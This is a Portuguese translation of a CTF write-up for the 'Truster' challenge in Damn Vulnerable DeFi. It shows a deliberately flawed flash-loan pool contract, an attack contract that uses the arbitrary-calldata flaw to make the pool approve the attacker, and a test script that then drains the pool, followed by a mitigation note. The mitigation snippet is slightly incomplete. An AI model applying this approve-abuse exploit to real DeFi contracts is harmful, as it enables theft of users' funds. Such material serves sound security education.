Damn Vulnerable DeFi (Maldita DeFi Vulnerável) é uma série de jogos CTF (Capture the flag ou Capturar o sinalizador) onde o jogador deve encontrar uma vulnerabilidade para quebrar ou roubar um protocolo.
Esses jogos educativos são muito interessantes no sentido de que eles imitam aplicativos reais (flashloans, pool, yield, …), permitindo-nos aprender não apenas sobre segurança na web3, mas também o que é DeFi.
Link aqui: https://www.damnvulnerabledefi.xyz/index.html
Nesta série de artigos, apresentarei os desafios e suas soluções.
#3 Truster (Fiador)
Cada vez mais pools de empréstimos estão oferecendo empréstimos relâmpagos. Nesse caso, foi lançado um novo pool que oferece empréstimos relâmpagos de tokens DVT gratuitamente.
Atualmente, o pool possui 1 milhão de tokens DVT em saldo. E você não tem nada.
Mas não se preocupe, talvez você consiga retirá-los todos do pool. Em uma única transação.
Descrição do protocolo
Em primeiro lugar, precisamos entender como funciona o protocolo.
O protocolo está funcionando em torno de 2 contratos principais:
Este é um pool que empresta tokens DVT aos usuários, sem nenhuma taxa envolvida. Ele só tem uma função: flashLoan, (empréstimo relâmpago) que nem é muito grande. Então o problema deve ser tão difícil de resolver?
Este é o Token ERC20 da série de desafios: DVT. Este é um ERC20 muito simples, sem recursos adicionais. Na construção, o max(uint256) é cunhado para o msg.sender
TrusterLenderPool
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable damnValuableToken;
constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Não há tokens suficientes no pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "O empréstimo relâmpago ainda não foi pago"");
}
}
Notas rápidas após a primeira leitura:
- O contrato está usando as bibliotecas Address e ReentrancyGuard da OpenZeppelin. A Address verifica se o endereço chamado é um contrato, enquanto o reentrancyguard evita o ataque de reentrância.
- A função
flashLoan
recebe 4 argumentos. - A partir desses 4 argumentos, podemos observar que os endereços do tomador do empréstimo e do destinatário podem ser diferentes.
- Também podemos notar que a função a ser chamada não é definida diretamente e deve ser dada como um argumento calldata, o que nos dá muita flexibilidade em nosso ataque.
- A função tem o modificador
nonReentrant.
Solução
Desta vez, a solução exigirá que escrevamos um contrato de ataque.
Mas primeiro vamos estudar as notas acima e focar no 4º ponto: qualquer contrato pode ser chamado, com qualquer calldata. Isso é claramente muito poderoso e não há razão para não usá-lo.
O contrato verifica corretamente que seu saldo após o empréstimo relâmpago é igual ao saldo anterior, então não há como roubar nada durante a chamada, certo?
Mas nós realmente temos que roubar os tokens agora? Se eu fosse um ladrão, ficaria feliz se minha vítima deixasse a porta aberta durante a noite para que eu pudesse entrar e pegar o que quisesse.
Os tokens ERC20 têm uma função ERC20.approve(address spender, uint256 amount)
que permite que msg.sender permita que um spender
gaste um amount
de token em seu nome.
Talvez agora você entenda o que quero dizer com “vítima deixando sua porta aberta”
Então aqui está o contrato de ataque:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface ILender {
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external ;
}
contract AttackerSolution {
event allowanceNow(uint256 value);
IERC20 public immutable damnValuableToken;
address private owner;
address private victim;
constructor (
address tokenAddress,
address _victim
)
{
damnValuableToken = IERC20(tokenAddress);
owner = msg.sender;
victim = _victim;
}
function attackLender() external {
require(msg.sender == owner);
uint256 victimBalance = damnValuableToken.balanceOf(victim);
ILender(victim).flashLoan(
0,
address(1),
address(damnValuableToken),
abi.encodeWithSignature("approve(address,uint256)",owner,victimBalance)
);
uint256 victimAllowance = damnValuableToken.allowance(victim,owner);
emit allowanceNow(victimAllowance);
}
}
As etapas são as seguintes:
- L39 - Eu verifico o saldo da minha vítima.
- L40 - Peço um empréstimo de 0 DVT, assim não preciso me preocupar em devolver os tokens no final da chamada.
-
L44 - Eu construo o valor calldata usando a função interna
abi.encodeWithSignature
do Solidity. -
L44 - A função codificada é a função
{ERC20.approve}
, sendo eu mesmo o gastador, e todo o seu saldo como quantia a aprovar.
E é isso. A função do contrato do credor flashLoan
será executada com sucesso, pois balanceBefore
é igual à suabalanceAfter
.
Em seguida, posso adicionar minha chamada web3 no arquivo challenge.js escrevendo isso na seção Exploit:
it('Exploit', async function () {
/** CODIFIQUE SEU EXPLOIT AQUI */
const AttackerSolution = await ethers.getContractFactory('AttackerSolution', attacker);
this.attackersolution = await AttackerSolution.deploy(this.token.address, this.pool.address);
this.attackersolution.attackLender();
this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
});
Agora que minha remuneração sobre o saldo do pool DVT é igual ao saldo do pool, posso chamar a função ERC20.transferFrom(address sender, address receipient, uint256 amount)
e transferir todo o seu token DVT em seu nome!
Etapas de mitigação recomendadas
O pool de credores não deve permitir essa flexibilidade na chamada de função do usuário. Ele pode ser mitigado forçando uma chamada para um nome de função específico que não está presente em ERC20/721/1155 ou outros tokens que podem ser aprovados.
Exemplo:
target.functionCallWithValue(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)"
)
)
Espero que tenham gostado deste artigo e nos vemos na próxima vez para um novo desafio!
Artigo escrito por Salah I e traduzido por Marcelo Panegali.
Latest comments (0)